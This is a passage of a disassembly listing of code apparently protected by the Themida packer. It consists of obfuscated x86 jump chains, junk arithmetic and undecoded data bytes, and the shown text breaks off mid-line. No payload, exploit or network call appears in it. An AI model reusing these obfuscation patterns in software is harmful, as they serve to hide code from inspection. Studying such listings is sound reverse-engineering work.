jmp loc_548C10 ; --------------------------------------------------------------------------- aZs db 'ZИг%',0 dw 2900h dd 7BC181D1h, 8B59EC26h, 0C4812414h, 4, 241468h, 243C8900h dd 54E1E9h, 2DE0D100h, 8BF9A9FAh, 0E95EF029h, 475Fh ; --------------------------------------------------------------------------- loc_54AB44: ; CODE XREF: Themida_:0054DC1Dj push edx mov edx, 36926987h xor ebp, edx mov edx, [esp] add esp, 4 push edx mov edx, 26EB10B3h or ebp, edx pop edx jmp loc_54FE61 ; --------------------------------------------------------------------------- db 87h dd 0FF5C242Ch, 1C8B2434h, 4C48124h, 53000000h, 0C381E389h dd 4, 4A5FE9h db 0 ; --------------------------------------------------------------------------- loc_54AB81: ; CODE XREF: Themida_:0054BA52j inc edx jmp loc_5476F9 ; --------------------------------------------------------------------------- loc_54AB87: ; CODE XREF: Themida_:00550DD7j push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_547160 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C241Ch, 0FFFF9F66h ; --------------------------------------------------------------------------- loc_54ABAC: ; CODE XREF: Themida_:005482ECj add ebx, 301DE56Eh push ebx mov ebx, 2EB81A39h add ecx, ebx pop ebx add ecx, 3C4441E0h add ecx, ebx sub ecx, 3C4441E0h sub ecx, 2EB81A39h pop ebx jmp loc_546761 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 389CE9h db 0 ; --------------------------------------------------------------------------- loc_54ABDD: ; CODE XREF: Themida_:00547F98j xor eax, 3EB310BEh xor eax, 36A61CFAh add esi, eax mov eax, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebx pop eax jmp loc_546CD5 ; --------------------------------------------------------------------------- loc_54AC04: ; CODE XREF: Themida_:0054A2B3j mov esi, 4 jmp loc_54DA82 ; --------------------------------------------------------------------------- dw 0C89h dd 0DB05024h, 48BC588h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_545532 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48158h, 57000000h, 0EC81E789h, 4, 0E9241489h, 0FFFFB169h ; --------------------------------------------------------------------------- loc_54AC3C: ; CODE XREF: Themida_:0054ECCDj mov edx, esi jmp loc_54AAD1 ; --------------------------------------------------------------------------- db 0BDh dd 2B6B3604h, 4024E9h, 24248B00h, 106868h, 24148900h, 0E3C3E954h dd 0CA87FFFFh, 0C108EAC1h, 0C28106E2h, 127D0C00h, 8255D22Dh dd 5D00139h, 398255D2h, 5A2434FFh, 8B04C483h, 0C481241Ch dd 4, 2F05D801h, 562D3B53h, 0C681E689h, 4, 4EE81h, 95E90000h dd 88000046h, 58E588D4h, 0EB885352h, 0ABE9DA88h, 80000043h dd 0C280B4EAh, 39B551FFh, 0E5D0E5D0h, 16E0E9h db 0 ; --------------------------------------------------------------------------- loc_54ACC5: ; CODE XREF: Themida_:0054EC34j mov [esp], ecx mov ch, 0A2h add bl, 10h sub bl, ch sub bl, 10h pop ecx jmp loc_54A64C ; --------------------------------------------------------------------------- loc_54ACD8: ; CODE XREF: Themida_:0054F9E9j add ebp, 4 jmp loc_548A47 ; --------------------------------------------------------------------------- db 89h dd 0C2BA2414h, 0F7224647h, 5DAAE9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ACF2: ; CODE XREF: Themida_:0054A51Cj add eax, 3B01274Ch jmp loc_54F5AF ; --------------------------------------------------------------------------- dd 8104EBC1h, 6E2BF7C3h, 0DDB85057h, 31383E11h, 0E8FE9C3h dd 2DB20000h, 809DCA80h, 0C28083EAh, 5AD00028h, 0F0285E2Ch dd 51525E04h, 1756E9h, 0E9DF0100h, 4271h, 52C8BD55h, 0B850735Eh dd 79C869B6h, 963B7CBBh, 58C3310Ah, 2C8BEB31h, 4C48324h dd 5A8BEE81h, 0DE01533Fh, 5A8BC681h, 565B533Fh, 42474FFh dd 24048F5Eh, 9CC1385Ch, 0FF9DA1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AD71: ; CODE XREF: Themida_:005476B5j pop ecx sub esp, 4 mov [esp], edi jmp loc_54F310 ; --------------------------------------------------------------------------- loc_54AD80: ; CODE XREF: Themida_:0054580Fj mov edx, [esp] add esp, 4 push ecx pop edx jmp loc_549762 ; --------------------------------------------------------------------------- db 83h, 0EAh, 4 dd 5C241487h, 0E9243C89h, 4341h ; --------------------------------------------------------------------------- loc_54AD9C: ; CODE XREF: Themida_:00550434j push ebp pop esi pop ebp push ebp not dword ptr [esp] pop ebp push esi push ebp mov esi, [esp] add esp, 4 pop ebp push eax push esi mov eax, [esp] jmp loc_54FC4F ; --------------------------------------------------------------------------- loc_54ADBA: ; CODE XREF: Themida_:00545873j sub ch, 0ECh xor bl, ch pop ecx shr bl, 1 sub bl, 0D5h jmp loc_549E9F ; --------------------------------------------------------------------------- dw 0F000h dd 66802C5Ah, 0D6D9E952h, 8B66FFFFh, 0EC83240Ch, 243C8904h dd 0EC81E789h, 4, 68241489h, 4, 8124148Bh, 4C4h, 5AD70100h dd 0FFEC74E9h, 44C981FFh, 0C13EB520h, 0B1E903E9h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AE0F: ; CODE XREF: Themida_:0054B048j push 20h mov ecx, [esp] jmp loc_54D87C ; --------------------------------------------------------------------------- loc_54AE1C: ; CODE XREF: Themida_:0054B050j pop esp mov [esp], ebx sub esp, 4 mov [esp], edx push 36D131B8h pop edx inc edx jmp loc_545BC9 ; --------------------------------------------------------------------------- dw 0C483h dd 0F1BB5304h, 814CBD7Fh, 0A23850EBh, 1644E96Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE46: ; CODE XREF: Themida_:00546F5Dj push 0 sub [esp], ebp jmp loc_546025 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF9CBAh, 2D04C483h, 10E6DA24h, 1AFAE9h, 1A48BE00h dd 4CB932B0h, 3132B01Ah, 24348BF1h, 2033E9h, 4EC8100h dd 89000000h, 91B82404h, 216B5F57h, 605CE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE8E: ; CODE XREF: Themida_:0054603Fj pop edx add ebx, 983F1A3Dh mov ecx, ebx pop ebx add ebx, 13283DAEh sub ebx, ecx sub ebx, 13283DAEh pop ecx add ebx, edi sub esp, 4 mov [esp], edi mov edi, 1B223BC2h shl edi, 6 jmp loc_546CF0 ; --------------------------------------------------------------------------- loc_54AEBC: ; CODE XREF: Themida_:00548F4Cj dec ebx not ebx not ebx jmp loc_547E72 ; --------------------------------------------------------------------------- dw 99B7h dd 535BF888h, 0FFC626E9h, 3877FFFFh, 6591BB53h, 0EC817B85h dd 4, 0E9241489h, 3EA5h ; --------------------------------------------------------------------------- loc_54AEE8: ; CODE XREF: Themida_:00544C07j add edi, 2 jmp loc_549FD1 ; --------------------------------------------------------------------------- dd 0B93DE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AEF6: ; CODE XREF: Themida_:0054A2A9j push edx mov edx, 712F38FFh xor eax, edx pop edx jmp loc_545E31 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 24148700h, 4D3665Ch, 0F7E99C24h, 45FFFF9Bh dd 6807E5C1h, 0 dd 8D240481h, 2902E82Dh, 29E9242Ch, 8BFFFFAAh, 1E92434h dd 30FFFFFAh, 241C8BF8h, 4C481h, 0C9680000h, 89000010h dd 0EC81240Ch, 4, 0B2241489h, 8BD58801h, 0ACE92414h, 50000041h dd 1416E9h, 24348900h, 2D339FBEh, 2444812Dh, 1B697B08h dd 24742917h, 246C8108h, 1B697B08h, 44295E17h, 19680424h dd 8900005Ch, 9FBB241Ch, 812D2D33h, 0C082444h, 1126F33h dd 8108245Ch, 0C08246Ch, 0E9126F33h, 4CCFh, 0F8668h, 24148900h dd 4C176853h, 34890000h, 4710BE24h, 0F6810F0Fh, 19DA1988h dd 0FFAF0AE9h, 2434FFFFh, 187CE9h db 0 ; --------------------------------------------------------------------------- loc_54AFD9: ; CODE XREF: Themida_:005461DAj pop ecx and eax, ebp jmp loc_549B89 ; --------------------------------------------------------------------------- db 29h, 0DAh, 0E9h dd 0FFFFE26Ch, 0B606B050h, 0E9C600B4h, 212Ah, 8010C380h dd 0EB80CDCBh, 7E3C00Eh, 5442E9h, 24143100h, 5C241433h dd 0C5E2E951h, 0C601FFFFh, 0B2E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B01A: ; CODE XREF: Themida_:0054818Dj pop esi or eax, eax jz loc_54B0A7 push dword ptr [edi+1Ch] jmp loc_549835 ; --------------------------------------------------------------------------- loc_54B02B: ; CODE XREF: Themida_:005494F6j pop esp mov esi, ebx mov ebx, [esp] add esp, 4 and ebx, esi mov esi, [esp] add esp, 4 or ebx, ebx jnz loc_5455DC push ecx jmp loc_54AE0F ; --------------------------------------------------------------------------- loc_54B04D: ; CODE XREF: Themida_:0054DDC9j xchg ebp, [esp] jmp loc_54AE1C ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BA241489h, 3E657BB3h, 5507EAC1h, 0FFDD7CE9h, 0D82859FFh dd 0CAB35352h, 0FFC6E9E9h, 243433FFh, 33243431h, 895C2434h dd 5F54243Ch, 0E904EC83h, 4EAFh, 0B6241489h, 0B35351C6h dd 8BDD88ADh, 95E9241Ch db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B09F: ; CODE XREF: Themida_:0054B5EEj add dword ptr [eax], 1 pop eax pop edx loc_54B0A7: ; CODE XREF: Themida_:0054B01Dj push 5EBAh mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_54FBA1 ; --------------------------------------------------------------------------- dw 0E089h dd 0FFF25FE9h, 0C8B66FFh, 0E9545624h, 280Bh, 3A7C681h dd 0C14E011Eh, 0FCE904EEh, 0C0FFFFD9h, 0CDFE04EDh, 28B5ED80h dd 885159EFh, 68D5F6FDh, 1E5Ch, 4371E9h, 20D8B200h, 805A66D5h dd 0EE88E8C5h, 5AF02859h, 0D6B05053h, 0A3E9BBB7h, 89FFFFD9h dd 62E95BDEh, 29FFFFFDh, 34C381C3h, 584E8C30h, 0E00C5E2Dh dd 5D8297Fh, 7FE00C5Eh, 3365E95Bh, 0D1F70000h, 0FFF7B2E9h dd 50E389FFh, 1A63BF57h, 0D7F76D96h, 50BB53h, 0DF2117ABh dd 81E7D15Bh, 52001CEFh, 8BF88924h, 0CBE9243Ch, 66FFFFB5h dd 0ABE9028Fh, 89FFFF99h, 0CE7DE9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B16E: ; CODE XREF: Themida_:00545742j neg ebp jmp loc_547DE1 ; --------------------------------------------------------------------------- loc_54B175: ; CODE XREF: Themida_:005474F2j pop edx mov edi, ebp pop ebp and eax, edi jmp loc_549078 ; --------------------------------------------------------------------------- dd 0F7665D66h, 45A1E9D5h, 565B0000h, 4BEh, 0D01CE900h dd 0C381FFFFh, 4, 0E9241C87h, 0FFFFB8CDh ; --------------------------------------------------------------------------- loc_54B1A4: ; CODE XREF: Themida_:0054BFCFj pop esi jmp loc_544D85 ; --------------------------------------------------------------------------- dw 34FFh dd 0EC835824h, 3B08E904h, 0E9530000h, 0FFFFCBA5h, 0BAB55166h dd 8B66EB28h, 0C483240Ch, 96EB8002h, 0C380C300h, 0E9526696h dd 0FFFFFE10h, 0EC835058h, 159FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B1E2: ; CODE XREF: Themida_:0054F0FAj push edi xor dword ptr [esp], 691C6D32h jmp loc_546385 ; --------------------------------------------------------------------------- loc_54B1EF: ; CODE XREF: Themida_:0054B58Cj push edx push ebx push 475F0CB0h jmp loc_54EB42 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C8700h, 59C8015Ch, 10DBE9h db 0 ; --------------------------------------------------------------------------- loc_54B20D: ; CODE XREF: Themida_:0054B9CCj pop edi not ebp push ebp xchg ebx, [esp] jmp loc_5480CD ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 1A5778BFh, 2AE9551Ch, 66000005h, 8324048Bh, 62E904ECh db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B233: ; CODE XREF: Themida_:00544FDCj pop ebx jmp loc_54B9D1 ; --------------------------------------------------------------------------- loc_54B239: ; CODE XREF: Themida_:0054F255j push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_546436 ; --------------------------------------------------------------------------- dw 815Ch dd 401805C6h, 81C60166h, 401805EEh, 0BABA5266h, 8158F563h dd 0A1486FF2h, 1C28339h, 0FFF6FCE9h, 0DF015EFFh, 2BD555Bh dd 81000000h, 0A55C3FEFh, 6AEF8156h, 0E9134B24h, 0AB1h dd 4EBF57ADh, 29706D4Ch, 0EC835FF8h, 243C8904h, 5DB5E9h dd 58C32800h, 34FFD930h, 0C4815B24h, 4, 5311C180h, 0BEE9A9B3h dd 0FFFFFFC2h, 0DE92434h, 80FFFFE7h, 0CFFE3AE7h, 8030B450h dd 0ECC092CCh, 0E9DCF607h, 524Fh, 0E0E98149h, 31E9F5A1h dd 0E6C159CEh, 36F68107h, 89820627h, 0C3015EF0h, 0FFB8F9E9h dd 2454F6FFh, 0E9596601h, 2C42h ; --------------------------------------------------------------------------- loc_54B300: ; CODE XREF: Themida_:0054E6B4j add ebx, 4 push edi mov edi, 2 sub ebx, edi pop edi jmp loc_547DD9 ; --------------------------------------------------------------------------- loc_54B314: ; CODE XREF: Themida_:005466E9j xchg ecx, [esp] mov esp, [esp] push dword ptr [esp] mov edx, [esp] jmp loc_54908D ; --------------------------------------------------------------------------- db 29h, 0F3h, 5Eh dd 0FFFDEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B32D: ; CODE XREF: Themida_:0054E1FDj shr bl, 1 add bl, 0C1h add dh, bl pop ebx jmp loc_547F49 ; --------------------------------------------------------------------------- dw 0F829h dd 2563E9h, 66C7FE00h, 0DDE95052h, 31FFFFCAh, 0FF04247Ch dd 88E92434h, 5FFFFFBAh, 0EB81CB01h, 65267B2Ch, 2C38159h dd 0E9000000h, 0FFFF9E13h, 815DEE01h, 4C6h, 24348700h dd 5E54565Ch, 3A7EE9h, 28B4B300h, 0D4005BDAh, 0F6EC865Ah dd 80EC86D5h, 0C9E9E5E4h, 5FFFFF1h, 2, 8B240487h, 27E92424h dd 56FFFFC4h, 0FFB521E9h, 2A7CB9FFh, 0D1F763ADh, 0BC1ABB53h dd 0D9318E41h, 59CE895Bh, 0E941CE87h, 0FFFFAAEFh, 357DFDBEh dd 0F9EE8140h, 140357Dh, 2055EF0h, 87000000h, 85E92404h dd 1000011h, 4875DE8h, 48F5C24h, 24248B24h, 0FFB564E9h dd 0F7895BFFh, 8324348Bh, 0EF8104C4h, 0D21AE0F9h, 34FFFB29h dd 0C4815F24h, 4, 717868h, 24348900h, 5D0596BEh, 72C2810Bh dd 0E96E6F59h, 18DAh, 24348B5Fh, 0FFEDBFE9h, 96DCE9FFh dd 0E600FFFFh, 582434FFh, 4C481h, 0E6800000h, 6815h, 34280000h dd 24348A24h, 0E904C483h, 3443h, 5C241C33h, 89241489h dd 71E955E2h, 0B9FFFFB2h, 47916B43h, 0D6F7F187h, 0CE31F131h dd 8CE9F131h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B47B: ; CODE XREF: Themida_:0054826Bj pop esp mov [esp], edi mov edi, 71C8201Bh jmp loc_545C21 ; --------------------------------------------------------------------------- db 0ACh, 4, 0B5h dd 14E95266h, 81FFFFACh, 403488EAh, 0AFC28104h, 0E97CF472h dd 0FFFFE9DBh, 0E9241433h, 0FFFFFB59h, 68243489h, 6CC6D5C4h dd 5124348Bh, 0FFF143E9h, 240487FFh, 2739E9h, 66D80000h dd 661FC668h, 0B3241C89h, 2EE951BBh, 8100004Bh, 10517DF3h dd 236AE9DFh, 74FF0000h, 0C8B0424h, 4C48124h, 8F000000h dd 9CE92404h, 83000033h, 8B6602C4h, 0C4832434h, 0E9526602h dd 4784h, 15AD101h, 0B6E981F9h, 81606648h, 101h, 966AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B51E: ; CODE XREF: Themida_:00545E57j push 2B32h mov [esp], ebx jmp loc_54B631 ; --------------------------------------------------------------------------- db 89h dd 0E957241Ch, 32B4h, 8105EFC1h, 876CDC7h, 5FFD09FAh, 0AE05C581h dd 0EB01A586h, 0FFE504E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B54D: ; CODE XREF: Themida_:0054C87Ej xor ebx, 0E29505E1h and eax, ebx jmp loc_54935E ; --------------------------------------------------------------------------- dw 8158h dd 0E7A495F1h, 59CA0134h, 476CE9h, 4EF38000h, 201DC380h dd 0FE95BD9h, 5B00002Eh, 4C481h, 0E9550000h, 0FFFFC827h ; --------------------------------------------------------------------------- loc_54B584: ; CODE XREF: Themida_:0054CC95j add ecx, 75AB132Ah sub ecx, ebx jmp loc_54B1EF ; --------------------------------------------------------------------------- db 66h, 53h, 0B7h dd 66FA882Ch, 83241C8Bh, 0E2C002C4h, 86F28003h, 78CC68h dd 240C8900h, 0CA0034B1h, 592434FFh, 0C004C483h, 0C28006E2h dd 0E9D330C1h, 0FFFFB48Ah, 2434FF5Ch, 582434FFh, 233068h dd 43A2E900h, 0C3310000h, 5453D831h, 0FFAC3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B5E1: ; CODE XREF: Themida_:0054EA18j pop edi sub eax, 5EFE2596h add eax, edx add eax, 5EFE2596h jmp loc_54B09F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048F00h, 0E924248Bh, 32C9h ; --------------------------------------------------------------------------- loc_54B604: ; CODE XREF: Themida_:0054B9E0j add esp, 4 jmp loc_54E4E9 ; --------------------------------------------------------------------------- dd 7FE95751h, 8900005Ah, 0C5682434h, 8900003Dh, 0BD55240Ch dd 6B1C3282h, 90CE32B9h, 5DE901CBh, 32CAE9h db 0 ; --------------------------------------------------------------------------- loc_54B631: ; CODE XREF: Themida_:0054B526j push edx push esi mov esi, 571962E9h push esi add dword ptr [esp], 430C40D2h pop edx sub edx, 430C40D2h pop esi shl edx, 7 push ecx mov ecx, 66CC2A57h push esi mov esi, 6BD019A0h and esi, 476B4B5Bh jmp loc_54761A ; --------------------------------------------------------------------------- dw 8F5Fh dd 0E95C2404h, 0FFFFBEA6h, 27240481h, 5968B151h, 5127E981h dd 555B68B1h, 0FFADBEE9h, 0FCF381FFh, 943FF25h, 0E2815BDAh dd 610160D7h, 5AC0F281h, 0C7E933E5h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B69B: ; CODE XREF: Themida_:005504E0j mov ecx, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_54CE53 ; --------------------------------------------------------------------------- dd 0E3C055B3h, 77F38002h, 0FF9E6AE9h, 4EC83FFh, 0BD242C89h dd 4, 835DEE01h, 348704C6h, 0C2815C24h, 4, 0FFC0CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B6E1: ; CODE XREF: Themida_:0054DB2Cj sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 push 392Ch mov [esp], ebp push esi mov esi, 55E21CAEh and esi, 6D251DF8h neg esi xor esi, 0BADFE35Ch mov ebp, esi pop esi add edx, 1D7C1F87h add edx, ebp sub edx, 1D7C1F87h pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_54A84F ; --------------------------------------------------------------------------- loc_54B72E: ; CODE XREF: Themida_:005499EFj sub edx, 5A9D1C5Bh mov ebx, edx pop edx push ecx jmp loc_5461B1 ; --------------------------------------------------------------------------- db 81h, 0C3h, 2Eh dd 1035DC3h, 0BD555BD9h, 1BB7546Bh, 0FFF024E9h, 770ABDFFh dd 0EF2978A7h, 4004E9h, 0EB815E00h, 0AF2935D6h, 0E95BD801h dd 1E99h, 0E904C483h, 0FFFFEB02h ; --------------------------------------------------------------------------- loc_54B774: ; CODE XREF: Themida_:00548D8Fj push edi mov edi, 65A3319Dh jmp loc_547602 ; --------------------------------------------------------------------------- db 1 aYsc8 db 'йYИФ8',0 dw 6800h dd 20F8h, 0B1240C89h, 0E9C828BDh, 0FFFFF8D1h ; --------------------------------------------------------------------------- loc_54B798: ; CODE XREF: Themida_:00544D32j mov dx, [esp] push 14B4h mov [esp], ebp push esp pop ebp add ebp, 4 push 1635h jmp loc_54AA22 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 8904EC83h, 0FEB9240Ch, 8349B666h, 8149FFC1h, 0B666F8F1h dd 59CB0149h, 0D28DE953h, 0D389FFFFh, 0FF7BE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B7E2: ; CODE XREF: Themida_:0054C40Bj pop ebx add ecx, 0D9E70D2Bh or edx, ecx pop ecx or edx, 9E3689Dh push esi mov esi, 1803153Ah jmp loc_547E21 ; --------------------------------------------------------------------------- loc_54B7FD: ; CODE XREF: Themida_:00546918j or edx, eax shl edx, 1 sub esp, 4 mov [esp], eax mov eax, esp push edx jmp loc_54BA4D ; --------------------------------------------------------------------------- db 0B9h dd 6D85391Bh, 680FBE56h, 93E94D8Dh, 0C1000045h, 0C18103E1h dd 8720DBCCh, 0FFF089E9h, 243487FFh, 240C895Ch, 2B9h, 9FEE8100h dd 81219857h, 9E265AEEh, 81CE012Dh, 9E265AC6h, 0A596E92Dh dd 95BFFFFFh, 0B81BBA7Ah, 7DDD8C83h, 0FFFAD9E9h, 2F36BDFFh dd 0E9533A4Ah, 0FFFFA024h, 3765EE81h, 0B850747Ah, 6DC62F8Ch dd 0FFEDB6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B87D: ; CODE XREF: Themida_:0054EA4Ej mov bh, 5Dh add al, bh pop bx push ebx mov bh, 38h jmp loc_54A0E5 ; --------------------------------------------------------------------------- loc_54B88B: ; CODE XREF: Themida_:0054E1CBj add edx, 4 jmp loc_54D3FD ; --------------------------------------------------------------------------- dw 0F529h dd 0FFD945E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B89D: ; CODE XREF: Themida_:00547DEFj pop eax add ebx, 65671D33h add ebx, ebp sub ebx, 65671D33h jmp loc_54A3E2 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 58545024h, 46853h, 2D5B0000h, 5E293FCBh, 0EC81D801h dd 4, 0FFE66CE9h, 0F18159FFh, 5C201685h, 89CE8956h, 0F7595EF7h dd 0D0F797D7h, 35B85097h, 2D72764Ah, 798278EDh, 36240B2Dh dd 4B98E90Bh, 52AD0000h, 363AE8BAh, 0B2F2811Eh, 1073F06h dd 2434FFD0h, 4C4815Ah, 2D000000h, 20E07858h, 3E334805h dd 2DD8291Bh, 1B3E3348h, 8904EC83h, 0FFBF243Ch, 473FC571h dd 0C781D7F7h, 60A5EA59h, 0FFC07FE9h, 48B66FFh, 4EC8324h dd 0E9243489h, 0FFFFADC6h, 81240C8Bh, 4C4h, 81C32900h dd 25226AEBh, 4EC8309h, 0BF243C89h, 61456907h, 0FFAC65E9h dd 24048FFFh, 8924248Bh, 97E92404h, 1FFFF91h, 0EB3159CDh dd 0FF9560E9h, 0EE8166FFh, 5A58791Ch, 62E68166h, 0E6816609h dd 0C16632C8h, 4E6605EEh, 0EBEE8166h, 0F5896686h, 8124348Bh dd 4C4h, 0D5F76600h, 35C58166h, 0EB0166D9h, 6651665Dh dd 0E93258B9h, 0FFFFEBDBh ; --------------------------------------------------------------------------- loc_54B9C4: ; CODE XREF: Themida_:0054DE02j xor edi, 5FE1B9Fh mov ebp, edi jmp loc_54B20D ; --------------------------------------------------------------------------- loc_54B9D1: ; CODE XREF: Themida_:0054B234j mov dh, ah pop eax push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_54B604 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0C8E90000h, 83FFFFA2h, 0F7E904C4h, 28FFFFBFh, 52E959EFh db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B9FF: ; CODE XREF: Themida_:0055040Fj push dword ptr [edi+eax*4] mov eax, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_54FABA ; --------------------------------------------------------------------------- db 9, 0C2h, 0D1h dd 46F768E2h, 90E90000h, 0E9000016h, 0FFFF90EAh, 0E47BE95Ah dd 166FFFFh, 665166D0h, 6673F6B9h, 5966C801h, 24148B66h dd 736968h, 240C8900h, 2799E9h db 0 ; --------------------------------------------------------------------------- loc_54BA4D: ; CODE XREF: Themida_:0054B80Aj mov edx, 4E944B42h jmp loc_54AB81 ; --------------------------------------------------------------------------- db 81h dd 46F22EBh, 0CC38164h, 123755Ah, 241C8BDDh, 0FFB01FE9h dd 8EFC1FFh, 0D7F7D7F7h, 24F78147h, 1003FFFh, 0ED815FFDh dd 4, 31242C33h, 65E9242Ch db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BA8F: ; CODE XREF: Themida_:00551051j mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp sub esp, 4 mov [esp], edx push eax jmp loc_5494FB ; --------------------------------------------------------------------------- loc_54BAB6: ; CODE XREF: Themida_:00546157j push dword ptr [esp] pop edi add esp, 4 add esp, 4 push ecx push 1000h pop ecx and eax, ecx push dword ptr [esp] jmp loc_550AA9 ; --------------------------------------------------------------------------- dd 0B05F03B8h, 795BD5Dh, 0C501CD0Bh, 8324048Bh, 0BBE904C4h dd 81FFFFAAh, 12C0242Ch, 815D4448h, 4812C0C5h, 0A184E944h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BAFE: ; CODE XREF: Themida_:0054CC1Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push ecx jmp loc_546FDD ; --------------------------------------------------------------------------- db 0C0h, 0E7h, 6 dd 125CE9h, 4BE5600h, 81000000h, 0AC04246Ch, 14B4071h dd 0E9042474h, 0FFFFE93Fh ; --------------------------------------------------------------------------- loc_54BB3C: ; CODE XREF: Themida_:0054A66Bj and eax, edx push dword ptr [esp] pop edx add esp, 4 or edx, eax shl edx, 1 push 1B6Fh mov [esp], ebp mov ebp, 0FFFFFFFFh sub [edi+24h], ebp push dword ptr [esp] push dword ptr [esp] jmp loc_54CC19 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF8FA6h ; --------------------------------------------------------------------------- loc_54BB6C: ; CODE XREF: Themida_:0054CE80j neg edx dec edx sub edx, 4A3BEC8Ah sub eax, edx pop edx add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp pop dword ptr [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_544B12 ; --------------------------------------------------------------------------- db 58h, 0F7h, 0D3h dd 0FFF92EE9h, 0BB6653FFh, 81661F70h, 661EB7C3h, 366DCB81h dd 81664366h, 0E91279C3h, 20ADh ; --------------------------------------------------------------------------- loc_54BBC4: ; CODE XREF: Themida_:0054CFE5j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg edx, [esp] mov esp, [esp] jmp loc_54C737 ; --------------------------------------------------------------------------- dd 4C381h, 0C3810000h, 4, 5C241C87h, 0E9E18951h, 93Eh ; --------------------------------------------------------------------------- loc_54BBF4: ; CODE XREF: Themida_:005509BEj push esi mov esi, 3CCB081Fh or esi, 42C155BFh jmp loc_5482DC ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0F0h dd 1FFFFE2h, 0E9435AD3h, 23A7h ; --------------------------------------------------------------------------- loc_54BC14: ; CODE XREF: Themida_:005483BFj pop esp mov [esp], edx push 3730FB50h pop edx sub eax, edx pop edx push 28F8h jmp loc_55062F ; --------------------------------------------------------------------------- db 81h dd 0FF3C92C3h, 0EB81593Fh, 32ED5628h, 0D8E9C301h, 57FFFFC9h dd 0FB6931BFh, 7EFC15Ch, 10D5C781h, 0EFC17543h, 93BE5603h dd 13B396Eh, 1EDE9F7h, 8B660000h, 68552404h, 1530h, 81242489h dd 42404h, 2C8B0000h, 4C48124h, 83000000h, 148904ECh, 18FF6824h dd 3C890000h, 1E78BF24h, 8CBA7C15h, 183EAE1h, 0D5015FFAh dd 0E92434FFh, 23D4h, 0BF575A5Bh, 6E763DECh, 5002E7C1h dd 0CA6BA4B8h, 0A9BB5379h, 815B8F15h, 9439C8C3h, 3F38120h dd 4B6D6A62h, 0FFD802E9h, 0E9F129FFh, 4A1h, 0E981D129h dd 64CC2134h, 5AE9815Ah, 0E96ED57Eh, 0FFFFC310h, 31B6859h dd 1C890000h, 0DC96E924h, 8B66FFFFh, 94682404h, 8900001Dh dd 0B8E9242Ch, 89000037h, 4C781E7h, 83000000h, 3C8704C7h dd 48F5C24h, 0F665C24h, 9C2404ABh, 0FF8DF1E9h, 24048FFFh dd 8324248Bh, 348904ECh, 0E9DE8924h, 1EB3h ; --------------------------------------------------------------------------- loc_54BD34: ; CODE XREF: Themida_:005457E8j xchg ebx, ecx not ebx jmp loc_54C609 ; --------------------------------------------------------------------------- db 1, 0EFh, 81h dd 4B246AC7h, 3FC78113h, 5D56A55Ch, 8B243C87h, 66642424h dd 0B7E90289h, 53FFFF8Dh, 4773D4BBh, 445BE914h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BD66: ; CODE XREF: Themida_:00547C22j add edi, eax pop eax movzx eax, al push dword ptr [edi+eax*4] push eax sub esp, 4 jmp loc_54CD9C ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 24348B00h, 63F268h, 242C8900h, 